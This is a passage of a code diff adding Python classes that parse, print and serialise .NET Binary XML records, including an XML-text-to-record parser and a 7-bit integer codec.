bytes = struct.pack("<B", self.type)
|
||||
bytes += struct.pack("<B", len(data))
|
||||
bytes += data
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return self.value
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
ln: int = struct.unpack("<B", fp.read(1))[0]
|
||||
data: bytes = fp.read(ln)
|
||||
return cls(data.decode("utf-16"))
|
||||
|
||||
|
||||
class UnicodeChars16TextRecord(UnicodeChars8TextRecord):
|
||||
type = 0xB8
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
data = self.value.encode("utf-16")[2:] # skip bom
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += struct.pack("<H", len(data))
|
||||
bytes += data
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return self.value
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
ln: int = struct.unpack("<H", fp.read(2))[0]
|
||||
data: bytes = fp.read(ln)
|
||||
return cls(data.decode("utf-16"))
|
||||
|
||||
|
||||
class UnicodeChars32TextRecord(UnicodeChars8TextRecord):
|
||||
type = 0xBA
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
data = self.value.encode("utf-16")[2:] # skip bom
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += struct.pack("<I", len(data))
|
||||
bytes += data
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return self.value
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
ln: int = struct.unpack("<I", fp.read(4))[0]
|
||||
data: bytes = fp.read(ln)
|
||||
return cls(data.decode("utf-16"))
|
||||
|
||||
|
||||
class QNameDictionaryTextRecord(Text):
|
||||
type = 0xBC
|
||||
|
||||
def __init__(self, prefix, index):
|
||||
self.prefix = prefix
|
||||
self.index = index
|
||||
|
||||
def to_bytes(self):
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += struct.pack("<B", ord(self.prefix) - ord("a"))
|
||||
bytes += MultiByteInt31(self.index).to_bytes()
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return "%s:%s" % (self.prefix, DICTIONARY[self.index])
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
prefix = chr(struct.unpack("<B", fp.read(1))[0] + ord("a"))
|
||||
index = MultiByteInt31.parse(fp).value
|
||||
return cls(prefix, index)
|
||||
|
||||
|
||||
class FloatTextRecord(Text):
|
||||
type = 0x90
|
||||
|
||||
def __init__(self, value):
|
||||
self.value: float = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = super(FloatTextRecord, self).to_bytes()
|
||||
bytes += struct.pack("<f", self.value)
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
try:
|
||||
if self.value == int(self.value):
|
||||
return "%.0f" % self.value
|
||||
else:
|
||||
return str(self.value)
|
||||
except:
|
||||
return str(self.value).upper()
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
value = struct.unpack("<f", fp.read(4))[0]
|
||||
return cls(value)
|
||||
|
||||
|
||||
class DoubleTextRecord(FloatTextRecord):
|
||||
type = 0x92
|
||||
|
||||
def __init__(self, value: float):
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = super(FloatTextRecord, self).to_bytes()
|
||||
bytes += struct.pack("<d", self.value)
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return super(DoubleTextRecord, self).__str__()
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
value = struct.unpack("<d", fp.read(8))[0]
|
||||
return cls(value)
|
||||
|
||||
|
||||
class DecimalTextRecord(Text):
|
||||
type = 0x94
|
||||
|
||||
def __init__(self, value: Decimal):
|
||||
self.value = value
|
||||
|
||||
def __str__(self):
|
||||
return str(self.value)
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
return super(DecimalTextRecord, self).to_bytes() + self.value.to_bytes()
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
value = Decimal.parse(fp)
|
||||
return cls(value)
|
||||
|
||||
|
||||
class DatetimeTextRecord(Text):
|
||||
type = 0x96
|
||||
|
||||
def __init__(self, value: int, tz: int):
|
||||
self.value = value
|
||||
self.tz = tz
|
||||
|
||||
def __str__(self):
|
||||
ticks = self.value
|
||||
dt = datetime.datetime(1, 1, 1) + datetime.timedelta(microseconds=ticks / 10)
|
||||
return dt.isoformat()
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = super(DatetimeTextRecord, self).to_bytes()
|
||||
bytes += struct.pack(
|
||||
"<Q", (self.tz & 3) | (self.value & 0x1FFFFFFFFFFFFFFF) << 2
|
||||
)
|
||||
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
data = struct.unpack("<Q", fp.read(8))[0]
|
||||
tz = data & 3
|
||||
value = data
|
||||
return cls(value, tz)
|
||||
|
||||
|
||||
def escapecp(cp):
|
||||
return "&%s;" % codepoint2name[cp] if (cp in codepoint2name) else chr(cp)
|
||||
|
||||
|
||||
def escape(text):
|
||||
newtext = ""
|
||||
for c in text:
|
||||
newtext += escapecp(ord(c))
|
||||
return newtext
|
||||
|
||||
|
||||
class Chars8TextRecord(Text):
|
||||
type = 0x98
|
||||
|
||||
def __init__(self, value: str):
|
||||
self.value = value
|
||||
|
||||
def __str__(self):
|
||||
# TODO: check if having unexcaped value is a problem?
|
||||
# removed the return excape(self.value) because str() was used
|
||||
# in the print_records function, so it printed stuff like
|
||||
# amp(value) and stuff.
|
||||
return self.value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
data = self.value.encode("utf-8")
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += struct.pack("<B", len(data))
|
||||
bytes += data
|
||||
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
ln = struct.unpack("<B", fp.read(1))[0]
|
||||
value: str = fp.read(ln).decode("utf-8")
|
||||
return cls(value)
|
||||
|
||||
|
||||
class Chars16TextRecord(Text):
|
||||
type = 0x9A
|
||||
|
||||
def __init__(self, value: str):
|
||||
self.value = value
|
||||
|
||||
def __str__(self):
|
||||
return self.value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
data = self.value.encode("utf-8")
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += struct.pack("<H", len(data))
|
||||
bytes += data
|
||||
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
ln = struct.unpack("<H", fp.read(2))[0]
|
||||
value: str = fp.read(ln).decode("utf-8")
|
||||
return cls(value)
|
||||
|
||||
|
||||
class Chars32TextRecord(Text):
|
||||
type = 0x9C
|
||||
|
||||
def __init__(self, value: str):
|
||||
self.value = value
|
||||
|
||||
def __str__(self):
|
||||
return self.value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
data = self.value.encode("utf-8")
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += struct.pack("<I", len(data))
|
||||
bytes += data
|
||||
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
ln = struct.unpack("<I", fp.read(4))[0]
|
||||
value: str = fp.read(ln).decode("utf-8")
|
||||
return cls(value)
|
||||
|
||||
|
||||
class UniqueIdTextRecord(Text):
|
||||
type = 0xAC
|
||||
|
||||
def __init__(self, uuid):
|
||||
if isinstance(uuid, list) or isinstance(uuid, tuple):
|
||||
self.uuid = uuid
|
||||
else:
|
||||
if uuid.startswith("urn:uuid"):
|
||||
uuid = uuid[9:]
|
||||
uuid = uuid.split("-")
|
||||
tmp = uuid[0:3]
|
||||
tmp.append(uuid[3][0:2])
|
||||
tmp.append(uuid[3][2:])
|
||||
tmp.append(uuid[4][0:2])
|
||||
tmp.append(uuid[4][2:4])
|
||||
tmp.append(uuid[4][4:6])
|
||||
tmp.append(uuid[4][6:8])
|
||||
tmp.append(uuid[4][8:10])
|
||||
tmp.append(uuid[4][10:])
|
||||
|
||||
self.uuid = [int(s, 16) for s in tmp]
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = super(UniqueIdTextRecord, self).to_bytes()
|
||||
bytes += struct.pack("<IHHBBBBBBBB", *self.uuid)
|
||||
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return "urn:uuid:%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % (
|
||||
tuple(self.uuid)
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
uuid = struct.unpack("<IHHBBBBBBBB", fp.read(16))
|
||||
return cls(uuid)
|
||||
|
||||
|
||||
class UuidTextRecord(UniqueIdTextRecord):
|
||||
type = 0xB0
|
||||
|
||||
def __str__(self):
|
||||
return "%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % (tuple(self.uuid))
|
||||
|
||||
|
||||
class Bytes8TextRecord(Text):
|
||||
type = 0x9E
|
||||
|
||||
def __init__(self, data: bytes):
|
||||
self.value = data
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += struct.pack("<B", len(self.value))
|
||||
bytes += self.value
|
||||
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return base64.b64encode(self.value).decode()
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
ln = struct.unpack("<B", fp.read(1))[0]
|
||||
data: bytes = struct.unpack("%ds" % ln, fp.read(ln))[0]
|
||||
return cls(data)
|
||||
|
||||
|
||||
class Bytes16TextRecord(Text):
|
||||
type = 0xA0
|
||||
|
||||
def __init__(self, data: bytes):
|
||||
self.value = data
|
||||
|
||||
def __str__(self):
|
||||
return base64.b64encode(self.value).decode()
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += struct.pack("<H", len(self.value))
|
||||
bytes += self.value
|
||||
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
ln = struct.unpack("<H", fp.read(2))[0]
|
||||
data: bytes = struct.unpack("%ds" % ln, fp.read(ln))[0]
|
||||
return cls(data)
|
||||
|
||||
|
||||
class Bytes32TextRecord(Text):
|
||||
type = 0xA2
|
||||
|
||||
def __init__(self, data: bytes):
|
||||
self.value = data
|
||||
|
||||
def __str__(self):
|
||||
return base64.b64encode(self.value).decode()
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += struct.pack("<I", len(self.value))
|
||||
bytes += self.value
|
||||
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
ln = struct.unpack("<I", fp.read(4))[0]
|
||||
data: bytes = struct.unpack("%ds" % ln, fp.read(ln))[0]
|
||||
return cls(data)
|
||||
|
||||
|
||||
class StartListTextRecord(Text):
|
||||
type = 0xA4
|
||||
|
||||
|
||||
class EndListTextRecord(Text):
|
||||
type = 0xA6
|
||||
|
||||
|
||||
class EmptyTextRecord(Text):
|
||||
type = 0xA8
|
||||
|
||||
|
||||
class TimeSpanTextRecord(Text):
|
||||
type = 0xAE
|
||||
|
||||
def __init__(self, value):
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
return super(TimeSpanTextRecord, self).to_bytes() + struct.pack(
|
||||
"<q", self.value
|
||||
)
|
||||
|
||||
def __str__(self):
|
||||
return str(datetime.timedelta(microseconds=self.value / 10))
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
value = struct.unpack("<q", fp.read(8))[0]
|
||||
return cls(value)
|
||||
|
||||
|
||||
class DictionaryTextRecord(Text):
|
||||
type = 0xAA
|
||||
|
||||
def __init__(self, index):
|
||||
self.index = index
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
return (
|
||||
super(DictionaryTextRecord, self).to_bytes()
|
||||
+ MultiByteInt31(self.index).to_bytes()
|
||||
)
|
||||
|
||||
def __str__(self):
|
||||
return DICTIONARY[self.index]
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
index = MultiByteInt31.parse(fp).value
|
||||
return cls(index)
|
||||
|
||||
|
||||
record.add_records(
|
||||
(
|
||||
ZeroTextRecord,
|
||||
OneTextRecord,
|
||||
FalseTextRecord,
|
||||
TrueTextRecord,
|
||||
Int8TextRecord,
|
||||
Int16TextRecord,
|
||||
Int32TextRecord,
|
||||
Int64TextRecord,
|
||||
UInt64TextRecord,
|
||||
BoolTextRecord,
|
||||
UnicodeChars8TextRecord,
|
||||
UnicodeChars16TextRecord,
|
||||
UnicodeChars32TextRecord,
|
||||
QNameDictionaryTextRecord,
|
||||
FloatTextRecord,
|
||||
DoubleTextRecord,
|
||||
DecimalTextRecord,
|
||||
DatetimeTextRecord,
|
||||
Chars8TextRecord,
|
||||
Chars16TextRecord,
|
||||
Chars32TextRecord,
|
||||
UniqueIdTextRecord,
|
||||
UuidTextRecord,
|
||||
Bytes8TextRecord,
|
||||
Bytes16TextRecord,
|
||||
Bytes32TextRecord,
|
||||
StartListTextRecord,
|
||||
EndListTextRecord,
|
||||
EmptyTextRecord,
|
||||
TimeSpanTextRecord,
|
||||
DictionaryTextRecord,
|
||||
)
|
||||
)
|
||||
@@ -0,0 +1,141 @@
|
||||
import logging as log
|
||||
|
||||
from .record import Element, EndElementRecord, record
|
||||
from .text import Text
|
||||
|
||||
|
||||
def print_records(records, first_call=True) -> str:
|
||||
"""
|
||||
returns the given record tree as a string
|
||||
"""
|
||||
|
||||
if not records:
|
||||
return ""
|
||||
|
||||
output = ""
|
||||
for r in records:
|
||||
if isinstance(r, EndElementRecord):
|
||||
continue
|
||||
|
||||
output += str(r)
|
||||
new_line = ""
|
||||
if hasattr(r, "childs"):
|
||||
new_line = print_records(r.childs, False)
|
||||
if isinstance(r, Element):
|
||||
output += new_line
|
||||
if hasattr(r, "prefix"):
|
||||
output += "</%s:%s>" % (r.prefix, r.name)
|
||||
else:
|
||||
output += "</%s>" % r.name
|
||||
return output
|
||||
|
||||
|
||||
def pretty_print_records(records, skip=0, first_call=True) -> str:
|
||||
"""prints the given record tree into a file like object"""
|
||||
|
||||
if not records:
|
||||
return ""
|
||||
|
||||
output = ""
|
||||
for r in records:
|
||||
if isinstance(r, EndElementRecord):
|
||||
continue
|
||||
if isinstance(r, Element):
|
||||
output += str(r)
|
||||
else:
|
||||
output += str(r)
|
||||
|
||||
new_line = ""
|
||||
if hasattr(r, "childs"):
|
||||
new_line = pretty_print_records(r.childs, skip + 1, False)
|
||||
if isinstance(r, Element):
|
||||
output += new_line
|
||||
if new_line:
|
||||
output += "\r\n" + " " * skip
|
||||
if hasattr(r, "prefix"):
|
||||
output += "</%s:%s>" % (r.prefix, r.name)
|
||||
else:
|
||||
output += "</%s>" % r.name
|
||||
return output
|
||||
|
||||
|
||||
def dump_records(records: list[record]) -> bytes:
|
||||
"""
|
||||
returns the byte representation of a given record tree
|
||||
|
||||
"""
|
||||
out = b""
|
||||
|
||||
for r in records:
|
||||
msg = f"Write {type(r).__name__}"
|
||||
|
||||
if r == records[-1] and isinstance(r, Text):
|
||||
r.type = r.type + 1
|
||||
msg += " with EndElement (0x%X)" % r.type
|
||||
log.debug(msg)
|
||||
log.debug(f"Value {r}")
|
||||
|
||||
if (
|
||||
isinstance(r, Element)
|
||||
and not isinstance(r, EndElementRecord)
|
||||
and len(r.attributes)
|
||||
):
|
||||
log.debug(" Attributes:")
|
||||
for a in r.attributes:
|
||||
log.debug(f" {type(a).__name__}: {a}")
|
||||
|
||||
out += r.to_bytes()
|
||||
|
||||
if hasattr(r, "childs"):
|
||||
out += dump_records(r.childs)
|
||||
|
||||
# only print the end element if the current record is NOT a "*WithEnd" record type
|
||||
if (not r.childs or not isinstance(r.childs[-1], Text)) and not isinstance(
|
||||
r, Text
|
||||
):
|
||||
log.debug(f"Write EndElement for {type(r).__name__}")
|
||||
out += EndElementRecord().to_bytes()
|
||||
|
||||
elif isinstance(r, Element) and not isinstance(r, EndElementRecord):
|
||||
log.debug(f"Write EndElement for {type(r).__name__}")
|
||||
out += EndElementRecord().to_bytes()
|
||||
|
||||
return out
|
||||
|
||||
|
||||
class Net7BitInteger(object):
|
||||
@staticmethod
|
||||
def decode7bit(data: bytes) -> tuple[int, int]:
|
||||
MAXMBI = 0x7F
|
||||
|
||||
length = 0
|
||||
value = 0
|
||||
for i in range(5):
|
||||
length += 1
|
||||
v = data[i]
|
||||
value |= (v & MAXMBI) << 7 * i
|
||||
if not v & (MAXMBI + 1):
|
||||
break
|
||||
return value, length
|
||||
|
||||
@staticmethod
|
||||
def encode7bit(value):
|
||||
MAXMBI = 0x7F
|
||||
if value < 0:
|
||||
raise ValueError("Signed numbers are not supported")
|
||||
|
||||
if value <= MAXMBI:
|
||||
return bytes([value])
|
||||
|
||||
result = []
|
||||
for _ in range(5):
|
||||
byte = value & MAXMBI
|
||||
value >>= 7
|
||||
if value != 0:
|
||||
byte |= MAXMBI + 1
|
||||
result.append(byte)
|
||||
|
||||
if value == 0:
|
||||
break
|
||||
|
||||
return bytes(result)
|
||||
@@ -0,0 +1,392 @@
|
||||
import base64
|
||||
import logging as log
|
||||
import re
|
||||
from html import unescape
|
||||
from html.parser import HTMLParser
|
||||
from typing import TextIO
|
||||
|
||||
from .records import INVERTED_DICT
|
||||
from .records.attributes import *
|
||||
from .records.elements import *
|
||||
from .records.record import *
|
||||
from .records.text import *
|
||||
|
||||
classes = dict([(i.__name__, i) for i in record.records.values()])
|
||||
|
||||
int_reg = re.compile(r"^-?\d+$")
|
||||
uint_reg = re.compile(r"^\d+$")
|
||||
uuid_reg = re.compile(r"^(([a-fA-F0-9]{8})-(([a-fA-F0-9]{4})-){3}([a-fA-F0-9]{12}))$")
|
||||
uniqueid_reg = re.compile(
|
||||
r"^urn:uuid:(([a-fA-F0-9]{8})-(([a-fA-F0-9]{4})-){3}([a-fA-F0-9]{12}))$"
|
||||
)
|
||||
base64_reg = re.compile(r"^[a-zA-Z0-9/+]*={0,2}$")
|
||||
float_reg = re.compile(r"^-?(INF)|(NaN)|(\d+(\.\d+)?)$")
|
||||
|
||||
datetime_reg = re.compile(
|
||||
r"^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}:\d{2}(\.\d{1,7})?)?(Z|(\+|-\d{2}:\d{2}))"
|
||||
)
|
||||
|
||||
# https://github.com/python/cpython/blob/3.12/Lib/html/parser.py
|
||||
tagfind_tolerant = re.compile(r"([a-zA-Z][^\t\n\r\f />\x00]*)(?:\s|/(?!>))*")
|
||||
attrfind_tolerant = re.compile(
|
||||
r'((?<=[\'"\s/])[^\s/>][^\s/=>]*)(\s*=+\s*'
|
||||
r'(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?(?:\s|/(?!>))*'
|
||||
)
|
||||
|
||||
endendtag = re.compile(">")
|
||||
# the HTML 5 spec, section 8.1.2.2, doesn't allow spaces between
|
||||
# </ and the tag name, so maybe this should be fixed
|
||||
endtagfind = re.compile(r"</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>")
|
||||
|
||||
|
||||
# https://github.com/python/cpython/blob/main/Lib/_markupbase.py
|
||||
_markedsectionclose = re.compile(r"]\s*]\s*>")
|
||||
_msmarkedsectionclose = re.compile(r"]\s*>")
|
||||
|
||||
|
||||
class XMLParser(HTMLParser):
|
||||
def reset(self):
|
||||
HTMLParser.reset(self)
|
||||
self.records = []
|
||||
self.last_record = record()
|
||||
self.last_record.childs = self.records
|
||||
self.last_record.parent = None
|
||||
self.data = None
|
||||
|
||||
# ============ overrides to prevent lowercasing names ===============
|
||||
# this breaks standard and makes dictionary lookups hard
|
||||
|
||||
# Internal -- handle starttag, return end or -1 if not terminated
|
||||
def parse_starttag(self, i):
|
||||
self.__starttag_text = None
|
||||
endpos = self.check_for_whole_start_tag(i)
|
||||
if endpos < 0:
|
||||
return endpos
|
||||
rawdata = self.rawdata
|
||||
self.__starttag_text = rawdata[i:endpos]
|
||||
|
||||
# Now parse the data between i+1 and j into a tag and attrs
|
||||
attrs = []
|
||||
match = tagfind_tolerant.match(rawdata, i + 1)
|
||||
assert match, "unexpected call to parse_starttag()"
|
||||
k = match.end()
|
||||
self.lasttag = tag = match.group(1)
|
||||
while k < endpos:
|
||||
m = attrfind_tolerant.match(rawdata, k)
|
||||
if not m:
|
||||
break
|
||||
attrname, rest, attrvalue = m.group(1, 2, 3)
|
||||
if not rest:
|
||||
attrvalue = None
|
||||
elif (
|
||||
attrvalue[:1] == "'" == attrvalue[-1:]
|
||||
or attrvalue[:1] == '"' == attrvalue[-1:]
|
||||
):
|
||||
attrvalue = attrvalue[1:-1]
|
||||
if attrvalue:
|
||||
attrvalue = unescape(attrvalue)
|
||||
attrs.append((attrname, attrvalue))
|
||||
k = m.end()
|
||||
|
||||
end = rawdata[k:endpos].strip()
|
||||
if end not in (">", "/>"):
|
||||
self.handle_data(rawdata[i:endpos])
|
||||
return endpos
|
||||
if end.endswith("/>"):
|
||||
# XHTML-style empty tag: <span attr="value" />
|
||||
self.handle_startendtag(tag, attrs)
|
||||
else:
|
||||
self.handle_starttag(tag, attrs)
|
||||
if tag in self.CDATA_CONTENT_ELEMENTS:
|
||||
self.set_cdata_mode(tag)
|
||||
return endpos
|
||||
|
||||
# Internal -- parse endtag, return end or -1 if incomplete
|
||||
def parse_endtag(self, i):
|
||||
rawdata = self.rawdata
|
||||
assert rawdata[i : i + 2] == "</", "unexpected call to parse_endtag"
|
||||
match = endendtag.search(rawdata, i + 1) # >
|
||||
if not match:
|
||||
return -1
|
||||
gtpos = match.end()
|
||||
match = endtagfind.match(rawdata, i) # </ + tag + >
|
||||
if not match:
|
||||
if self.cdata_elem is not None:
|
||||
self.handle_data(rawdata[i:gtpos])
|
||||
return gtpos
|
||||
# find the name: w3.org/TR/html5/tokenization.html#tag-name-state
|
||||
namematch = tagfind_tolerant.match(rawdata, i + 2)
|
||||
if not namematch:
|
||||
# w3.org/TR/html5/tokenization.html#end-tag-open-state
|
||||
if rawdata[i : i + 3] == "</>":
|
||||
return i + 3
|
||||
else:
|
||||
return self.parse_bogus_comment(i)
|
||||
tagname = namematch.group(1)
|
||||
# consume and ignore other stuff between the name and the >
|
||||
# Note: this is not 100% correct, since we might have things like
|
||||
# </tag attr=">">, but looking for > after the name should cover
|
||||
# most of the cases and is much simpler
|
||||
gtpos = rawdata.find(">", namematch.end())
|
||||
self.handle_endtag(tagname)
|
||||
return gtpos + 1
|
||||
|
||||
elem = match.group(1) # script or style
|
||||
if self.cdata_elem is not None:
|
||||
if elem != self.cdata_elem:
|
||||
self.handle_data(rawdata[i:gtpos])
|
||||
return gtpos
|
||||
|
||||
self.handle_endtag(elem)
|
||||
self.clear_cdata_mode()
|
||||
return gtpos
|
||||
|
||||
def set_cdata_mode(self, elem):
|
||||
self.cdata_elem = elem.lower()
|
||||
self.interesting = re.compile(r"</\s*%s\s*>" % self.cdata_elem, re.I)
|
||||
|
||||
# ============= end overrides =================
|
||||
|
||||
def _parse_tag(self, tag: str) -> record:
|
||||
if ":" in tag:
|
||||
prefix, name = tag.split(":", 1)
|
||||
|
||||
if len(prefix) == 1:
|
||||
cls_name = "Element" + prefix.upper() + "Record"
|
||||
if name in INVERTED_DICT:
|
||||
cls_name = "PrefixDictionary" + cls_name
|
||||
log.debug("New %s: %s" % (cls_name, name))
|
||||
return classes[cls_name](INVERTED_DICT[name])
|
||||
else:
|
||||
cls_name = "Prefix" + cls_name
|
||||
log.debug("New %s: %s" % (cls_name, name))
|
||||
return classes[cls_name](name)
|
||||
else:
|
||||
if name in INVERTED_DICT:
|
||||
log.debug("New DictionaryElementRecord: %s:%s" % (prefix, name))
|
||||
return DictionaryElementRecord(prefix, INVERTED_DICT[name])
|
||||
else:
|
||||
log.debug("New ElementRecord: %s:%s" % (prefix, name))
|
||||
return ElementRecord(prefix, name)
|
||||
else:
|
||||
if tag in INVERTED_DICT:
|
||||
log.debug("New ShortDictionaryElementRecord: %s" % (tag,))
|
||||
return ShortDictionaryElementRecord(INVERTED_DICT[tag])
|
||||
else:
|
||||
log.debug("New ShortElementRecord: %s" % (tag,))
|
||||
return ShortElementRecord(tag)
|
||||
|
||||
def _store_data(self, data, end=False):
|
||||
textrecord = self._parse_data(data)
|
||||
if isinstance(textrecord, EmptyTextRecord):
|
||||
return
|
||||
log.debug("New %s: %s" % (type(textrecord).__name__, data))
|
||||
|
||||
self.last_record.childs.append(textrecord)
|
||||
|
||||
def _parse_data(self, data):
|
||||
data = data.strip() if data else data
|
||||
b64 = False
|
||||
try:
|
||||
if base64_reg.match(data):
|
||||
base64.b64decode(data)
|
||||
b64 = True
|
||||
except:
|
||||
b64 = False
|
||||
if data == "0":
|
||||
return ZeroTextRecord()
|
||||
elif data == "1":
|
||||
return OneTextRecord()
|
||||
elif data.lower() == "false":
|
||||
return FalseTextRecord()
|
||||
elif data.lower() == "true":
|
||||
return TrueTextRecord()
|
||||
elif len(data) > 3 and data[1] == ":" and data[2:] in INVERTED_DICT:
|
||||
return QNameDictionaryTextRecord(data[0], INVERTED_DICT[data[2:]])
|
||||
elif uniqueid_reg.match(data):
|
||||
m = uniqueid_reg.match(data)
|
||||
return UniqueIdTextRecord(m.group(1))
|
||||
elif uuid_reg.match(data):
|
||||
m = uuid_reg.match(data)
|
||||
return UuidTextRecord(m.group(1))
|
||||
elif int_reg.match(data):
|
||||
val = int(data)
|
||||
if val >= -(2**7) and val <= 2**7 - 1:
|
||||
return Int8TextRecord(val)
|
||||
elif val >= -(2**15) and val <= 2**15 - 1:
|
||||
return Int16TextRecord(val)
|
||||
elif val >= -(2**31) and val <= 2**31 - 1:
|
||||
return Int32TextRecord(val)
|
||||
elif val >= -(2**63) and val <= 2**63 - 1:
|
||||
return Int64TextRecord(val)
|
||||
else:
|
||||
val = len(data)
|
||||
if val < 2**8:
|
||||
return Chars8TextRecord(data)
|
||||
elif val < 2**16:
|
||||
return Chars16TextRecord(data)
|
||||
elif val < 2**32:
|
||||
return Chars32TextRecord(data)
|
||||
elif data == "":
|
||||
return EmptyTextRecord()
|
||||
elif b64:
|
||||
data = base64.b64decode(data)
|
||||
val = len(data)
|
||||
if val < 2**8:
|
||||
return Bytes8TextRecord(data)
|
||||
elif val < 2**16:
|
||||
return Bytes16TextRecord(data)
|
||||
elif val < 2**32:
|
||||
return Bytes32TextRecord(data)
|
||||
elif float_reg.match(data):
|
||||
return DoubleTextRecord(float(data))
|
||||
elif data in INVERTED_DICT:
|
||||
return DictionaryTextRecord(INVERTED_DICT[data])
|
||||
elif datetime_reg.match(data) and False: # TODO
|
||||
raise NotImplementedError("datetime isnt implmented rn")
|
||||
else:
|
||||
val = len(data)
|
||||
if val < 2**8:
|
||||
return Chars8TextRecord(data)
|
||||
elif val < 2**16:
|
||||
return Chars16TextRecord(data)
|
||||
elif val < 2**32:
|
||||
return Chars32TextRecord(data)
|
||||
|
||||
def _parse_attr(self, name, value):
|
||||
if ":" in name:
|
||||
prefix = name[: name.find(":")]
|
||||
name = name[name.find(":") + 1 :]
|
||||
|
||||
if prefix == "xmlns":
|
||||
if value in INVERTED_DICT:
|
||||
return DictionaryXmlnsAttributeRecord(name, INVERTED_DICT[value])
|
||||
else:
|
||||
return XmlnsAttributeRecord(name, value)
|
||||
elif len(prefix) == 1:
|
||||
value = self._parse_data(value)
|
||||
cls_name = "Attribute" + prefix.upper() + "Record"
|
||||
if name in INVERTED_DICT:
|
||||
return classes["PrefixDictionary" + cls_name](
|
||||
INVERTED_DICT[name], value
|
||||
)
|
||||
else:
|
||||
return classes["Prefix" + cls_name](name, value)
|
||||
else:
|
||||
value = self._parse_data(value)
|
||||
if name in INVERTED_DICT:
|
||||
return DictionaryAttributeRecord(prefix, INVERTED_DICT[name], value)
|
||||
else:
|
||||
return AttributeRecord(prefix, name, value)
|
||||
elif name == "xmlns":
|
||||
if value in INVERTED_DICT:
|
||||
return ShortDictionaryXmlnsAttributeRecord(INVERTED_DICT[value])
|
||||
else:
|
||||
return ShortXmlnsAttributeRecord(value)
|
||||
else:
|
||||
value = self._parse_data(value)
|
||||
if name in INVERTED_DICT:
|
||||
return ShortDictionaryAttributeRecord(INVERTED_DICT[name], value)
|
||||
else:
|
||||
return ShortAttributeRecord(name, value)
|
||||
|
||||
def handle_starttag(self, tag: str, attrs):
|
||||
if self.data:
|
||||
self._store_data(self.data, False)
|
||||
self.data = None
|
||||
|
||||
el = self._parse_tag(tag)
|
||||
for n, v in attrs:
|
||||
el.attributes.append(self._parse_attr(n, v))
|
||||
self.last_record.childs.append(el)
|
||||
el.parent = self.last_record
|
||||
self.last_record = el
|
||||
|
||||
def handle_startendtag(self, tag: str, attrs: list):
|
||||
if self.data:
|
||||
self._store_data(self.data, False)
|
||||
self.data = None
|
||||
|
||||
el = self._parse_tag(tag)
|
||||
for n, v in attrs:
|
||||
el.attributes.append(self._parse_attr(n, v))
|
||||
self.last_record.childs.append(el)
|
||||
|
||||
def handle_endtag(self, tag: str):
|
||||
if self.data:
|
||||
self._store_data(self.data, True)
|
||||
self.data = None
|
||||
self.last_record = self.last_record.parent
|
||||
|
||||
def handle_data(self, data):
|
||||
if not self.data:
|
||||
self.data = data
|
||||
else:
|
||||
self.data += data
|
||||
|
||||
def handle_charref(self, name):
|
||||
if name[0] == "x":
|
||||
self.handle_data(chr(int(name[1:], 16)))
|
||||
else:
|
||||
self.handle_data(chr(int(name, 10)))
|
||||
|
||||
